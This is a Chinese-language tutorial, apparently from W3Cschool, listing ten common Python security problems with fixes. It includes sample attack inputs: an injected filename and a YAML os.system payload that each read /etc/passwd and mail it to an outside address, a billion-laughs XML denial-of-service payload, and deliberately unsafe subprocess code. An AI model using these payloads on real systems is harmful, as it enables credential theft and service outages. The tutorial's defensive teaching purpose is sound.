一、輸入注入
注入攻擊非常廣泛而且很常見,注入有很多種類,它們影響所有的語言、框架和環(huán)境。
SQL 注入是直接編寫 SQL 查詢(而非使用 ORM) 時將字符串字面量與變量混合??梢酝ㄟ^https://www.jb51.net/article/187001.htm
這個鏈接查看 SQL 注入所有可能發(fā)生的復(fù)雜方式。
命令注入可能在使用 popen、subprocess、os.system 調(diào)用一個進(jìn)程并從變量中獲取參數(shù)時發(fā)生,當(dāng)調(diào)用本地命令時,有人可能會將某些值設(shè)置為惡意值。
下面是個簡單的腳本,使用用戶提供的文件名調(diào)用子進(jìn)程:
import subprocess
def transcode_file(request, filename):
command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
subprocess.call(command, shell=True) # a bad idea!
攻擊者會將 filename 的值設(shè)置為“; cat / etc / passwd | mail them@domain.com
或者其他同樣危險的東西。
修復(fù):
如果你使用了 Web 框架,可以用附帶的實用程序?qū)斎脒M(jìn)行清理,除非有充分的理由,否則不要手動構(gòu)建 SQL 查詢,大多數(shù) ORM 都具有內(nèi)置的消毒方法。
對于 shell,可以使用 shlex 模塊正確地轉(zhuǎn)義輸入。
二、assert 語句(Assert statements)
不要使用 assert 語句來防止用戶訪問不應(yīng)訪問的代碼段。
def foo(request, user):
assert user.is_admin, “user does not have access”
# secure code...
現(xiàn)在,默認(rèn)情況下,Python 以 __debug__
為 true 來執(zhí)行腳本,但在生產(chǎn)環(huán)境中,通常使用優(yōu)化運(yùn)行,這將會跳過 assert 語句并直接轉(zhuǎn)到安全代碼,而不管用戶是否是 is_admin
。
修復(fù):
僅在與其他開發(fā)人員進(jìn)行通信時使用 assert 語句,例如在單元測試中或為了防止不正確的 API 使用。
三、計時攻擊(Timing attacks)
計時攻擊本質(zhì)上是一種通過計時比較提供值所需時間來暴露行為和算法的方式。計時攻擊需要精確性,所以通常不能用于高延遲的遠(yuǎn)程網(wǎng)絡(luò)。由于大多數(shù) Web 應(yīng)用程序涉及可變延遲,因此幾乎不可能在 HTTP Web 服務(wù)器上編寫計時攻擊。
但是,如果你有提示輸入密碼的命令行應(yīng)用程序,則攻擊者可以編寫一個簡單的腳本來計算將其值與實際密碼進(jìn)行比較所需的時間。
修復(fù):
使用在 Python 3.5 中引入的 secrets.compare_digest 來比較密碼和其他私密值。
四、臨時文件(Temporary files)
要在 Python 中創(chuàng)建臨時文件,通常使用 mktemp() 函數(shù)生成一個文件名,然后使用該名稱創(chuàng)建一個文件。 這是不安全的,因為另一個進(jìn)程可能會在調(diào)用 mktemp() 和隨后嘗試通過第一個進(jìn)程創(chuàng)建文件之間的空隙創(chuàng)建一個同名文件。這意味著應(yīng)用程序可能加載錯誤的數(shù)據(jù)或暴露其他的臨時數(shù)據(jù)。
如果調(diào)用不正確的方法,則最新版本的 Python 會拋出運(yùn)行警告。
修復(fù):
如果需要生成臨時文件,請使用 tempfile 模塊并使用 mkstemp。
五、使用 yaml.load
引用 PyYAML 文檔:
警告:使用從不可信源接收到的數(shù)據(jù)來調(diào)用 yaml.load 是不安全的! yaml.load 和pickle.load 一樣強(qiáng)大,所以可以調(diào)用任何 Python 函數(shù)。
在流行的 Python 項目 Ansible 中這個例子,你可以將此值作為(有效)YAML 提供給 Ansible Vault,它使用文件中提供的參數(shù)調(diào)用 os.system()。
!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]
所以,從用戶提供的值中有效地加載 YAML 文件會讓應(yīng)用對攻擊打開大門。
修復(fù):
總是不優(yōu)先使用 yaml.safe_load,除非你有一個非常好的理由。
六、解析 XML(Parsing XML)
如果你的應(yīng)用程序要加載、解析 XML 文件,則你可能正在使用 XML 標(biāo)準(zhǔn)庫模塊。通過 XML 的攻擊大多是 DoS 風(fēng)格(旨在使系統(tǒng)崩潰而不是泄露數(shù)據(jù)),這些攻擊十分常見,特別是在解析外部(即不可信任的)XML 文件時。
其中有個「billion laughs」,因為他的 payload 通常包含很多(十億)「lols」?;旧希@個原理是可以在 XML 中使用參照實體,所以當(dāng)解析器將這個 XML 文件加載到內(nèi)存中時,它會消耗數(shù) G 大小的內(nèi)存(RAM)。
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
另一些攻擊使用外部實體擴(kuò)展。XML 支持從外部 URL 引用實體,XML解析器通常會毫無疑問地獲取并加載該資源。攻擊者可以規(guī)避防火墻并訪問受限制的資源,因為所有請求都是由內(nèi)部可信的 IP 地址創(chuàng)建的,而不是來自外部。
需要考慮的另一種情況是依賴的第三方軟件包需要解碼 XML ,例如配置文件、遠(yuǎn)程 API。你甚至可能不知道某個依賴關(guān)系會將這些類型的攻擊置之不理。
修復(fù):
使用 defusedxml 替換標(biāo)準(zhǔn)庫模塊,它增加了針對這些類型攻擊的安全防護(hù)。
七、受污染的 site-packages 或 import 路徑
Python 的 import 系統(tǒng)非常靈活,當(dāng)你想要為測試寫補(bǔ)丁或重載核心功能時,這是非常棒的。
但這卻是 Python 中最大的安全漏洞之一。
安裝第三方軟件包,無論是在虛擬環(huán)境中還是全局(通常不鼓勵)都會讓你看到這些軟件包中的安全漏洞。有一些發(fā)布到 PyPi 的軟件包與流行的軟件包具有相似的名稱,但是卻執(zhí)行了任意代碼。
需要考慮的另一種情況是依賴的依賴,他們可能包含漏洞,他們也可以通過導(dǎo)入系統(tǒng)覆蓋Python 中的默認(rèn)行為。
修復(fù):
看看 http://PyUp.io 及其安全服務(wù),為所有應(yīng)用程序使用虛擬環(huán)境,并確保全局的 site-packages 盡可能干凈,檢查包簽名。
八、序列化 Pickles
反序列化 pickle 數(shù)據(jù)和 YAML 一樣糟糕。Python 類可以聲明一個 __reduce__
方法,該方法返回一個字符串,或一個可調(diào)用的元組以及使用 pickle 序列化時調(diào)用的參數(shù)。攻擊者可以使用它來包含對其中一個子進(jìn)程模塊的引用,以在主機(jī)上運(yùn)行任意命令。
修復(fù):
切勿使用 pickle 反序列化不受信任或未經(jīng)身份驗證來源的數(shù)據(jù)。改用另一種序列化模式(如JSON)。
九、使用系統(tǒng) Python 運(yùn)行時并且不修復(fù)它
大多數(shù) POSIX 系統(tǒng)都自帶有一個 Python 2 版本(通常是舊版本)。
有時候 Python(即 CPython 是用 C 語言編寫的) 解釋器本身存在漏洞, C 中的常見安全問題與內(nèi)存分配有關(guān),所以大多是緩沖區(qū)溢出錯誤,CPython 多年來一直存在一些溢出漏洞,每個漏洞都在后續(xù)版本中進(jìn)行了修復(fù)。也就是說,如果及時升級 python 運(yùn)行時,就很安全。
修復(fù):
為生產(chǎn)應(yīng)用程序安裝最新版本的 Python,并及時安裝修復(fù)更新!
十、不修復(fù)依賴關(guān)系
類似于不修補(bǔ) python 運(yùn)行時,還需要定期修補(bǔ)依賴關(guān)系。
修復(fù):
使用像 PyUp.io 這樣的服務(wù)來檢查更新,向應(yīng)用程序提出 pr,并運(yùn)行測試以保持軟件包是最新的。
小結(jié)
到此這篇Python常見安全問題的總結(jié)就介紹到這了,更多Python學(xué)習(xí)內(nèi)容和代碼優(yōu)化的優(yōu)質(zhì)好文請搜索W3Cschool以前的文章或繼續(xù)瀏覽下面的相關(guān)文章。